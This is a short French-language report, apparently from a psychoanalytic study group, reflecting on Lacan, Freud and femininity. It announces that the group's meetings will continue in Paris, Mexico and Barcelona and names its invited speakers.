Avec Lacan on peut affirmer en effet que l’artiste ici ou ailleurs, précède le psychanalyste. Les trois exposés ont un lien, d’une manière ou d’une autre, avec la féminité qui dans l’histoire de la psychanalyse, nous savons, a fini par nous donner avec Lacan, une orientation plus serrée de ce qui pour Freud était resté un continent noir et qui pour nous a à voir avec la position de l’analyste. Nous avons pu constater que ces traits de l’histoire et ses origines, font dangereusement retour dans l’actualité de notre siècle où les apports de Freud et Lacan voudraient être encore effacés pour faire régner des classifications aveugles et un pour tous de la norme. Cette première rencontre nous a ouvert un passionnant chemin de savoir et de recherche de filiation théorique qui va se poursuivre. Il se veut itinérant entre Paris, Mexico et Barcelone. Nous continuerons à nous interroger et à cheminer. Nombreux sont ceux qui sont venus nous entendre et nous questionner. Des questions très opportunes, sur le devenir de ce groupe d’études, ont été d’emblée cernées par nos fils rouges et invités : Ana Vigano, Liliana Salazar, Véronique Outrebon et Miguel Sierra.

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